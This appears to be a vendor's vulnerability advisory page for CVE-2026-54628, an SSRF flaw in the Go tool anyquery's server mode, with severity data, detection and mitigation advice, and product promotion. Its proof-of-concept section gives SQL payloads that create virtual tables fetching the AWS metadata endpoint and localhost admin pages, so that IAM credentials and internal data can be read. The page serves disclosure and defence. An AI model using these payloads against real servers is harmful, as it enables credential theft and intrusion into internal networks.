How severe is CVE-2026-54628?

CVE-2026-54628 has a CVSS score of 8.6/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by CVE-2026-54628?

CVE-2026-54628 affects the following packages: github.com/julien040/anyquery (Go). Ecosystems affected: Go.

How do I fix CVE-2026-54628?

No patched version of github.com/julien040/anyquery has shipped for CVE-2026-54628 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect CVE-2026-54628 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/julien040/anyquery. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate CVE-2026-54628 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-54628?

O3 pinpoints whether CVE-2026-54628 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is CVE-2026-54628 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-54628 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was CVE-2026-54628 published, and has it been updated?

CVE-2026-54628 was published on July 14, 2026 and was last updated on July 21, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹

🐹 Go

Not in CISA KEV

HIGH severity

CVE-2026-54628

HIGH

CVE-2026-54628 is a high-severity (CVSS 8.6) vulnerability in github.com/julien040/anyquery. O3 Security confirms whether CVE-2026-54628 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Anyquery: Server-Side Request Forgery (SSRF) via Unrestricted SQLite Virtual Table Modules in Server Mode

Also known asGO-2026-5988

Published

Jul 14, 2026

Updated

Jul 21, 2026

Affected

1 pkg

Patched

None yet

Exploits

None indexed

Exploitation data as of Jul 21, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

🐹github.com/julien040/anyquery

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Anyquery's server mode does not restrict outbound HTTP requests initiated by its built-in SQLite virtual table modules (e.g., json_reader, log_reader). Unauthenticated attackers connecting to the MySQL-compatible server port can create virtual tables pointing to internal network endpoints or Cloud Metadata IPs (e.g., http://169.254.169.254/latest/meta-data/). This allows attackers to perform Server-Side Request Forgery (SSRF), bypassing external firewalls to scan internal ports and exfiltrate cloud credentials.

Details

When Anyquery is launched in Server Mode (anyquery server), it binds to a TCP port and accepts MySQL protocol connections. The server handler allows the creation of dynamic virtual tables using modules like json_reader or log_reader, which internally use go-getter to fetch URLs. There is no protection mechanism to prevent fetches to local (127.0.0.0/8), private (10.0.0.0/8), or special (169.254.169.254) IP addresses.

An attacker can use this to map internal networks, interact with internal APIs, or steal IAM tokens from cloud metadata servers by fetching the data and reading it as a database table.

PoC (Proof of Concept)

Start the server on the victim machine (e.g., an AWS EC2 instance):
```
anyquery server --host 0.0.0.0 --port 8070
```
Connect from an attacker machine:
```
mysql -u root -h <VICTIM_IP> -P 8070
```

Execute the payload to fetch AWS Metadata or hit a local API:

-- Payload 1: Fetch AWS Cloud Metadata (IAM credentials)
CREATE VIRTUAL TABLE aws_meta USING log_reader('http://169.254.169.254/latest/meta-data/');
SELECT * FROM aws_meta;

-- Payload 2: Access an internal application bound only to localhost
CREATE VIRTUAL TABLE local_admin USING log_reader('http://localhost:8000/admin');
SELECT * FROM local_admin LIMIT 10;

Impact

Confidentiality: High. Exfiltration of sensitive internal network data or cloud credentials.
Integrity: Low. Possible interaction with state-changing internal REST APIs.
Availability: None.
CVSS Score: 8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Remediation

By default, in Server Mode, remote HTTP fetches to local/private IP ranges and known Cloud Metadata IP addresses should be blocked unless explicitly enabled via configuration.

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/julien040/anyquery`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/julien040/anyquery. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/julien040/anyquery has shipped for CVE-2026-54628 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-54628 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-54628. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Anyquery's `server` mode does not restrict outbound HTTP requests initiated by its built-in SQLite virtual table modules (e.g., `json_reader`, `log_reader`). Unauthenticated attackers connecting to the MySQL-compatible server port can create virtual tables pointing to internal network endpoints or Cloud Metadata IPs (e.g., `http://169.254.169.254/latest/meta-data/`). This allows attackers to perform Server-Side Request Forgery (SSRF), bypassing external firewalls to scan internal ports and exfiltrate cloud credentials. ## Details When Anyquery is launched in **Server Mode** (`anyqu

O3 Security · Impact-Aware SCA

Is CVE-2026-54628 in your dependencies?

O3 detects CVE-2026-54628 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works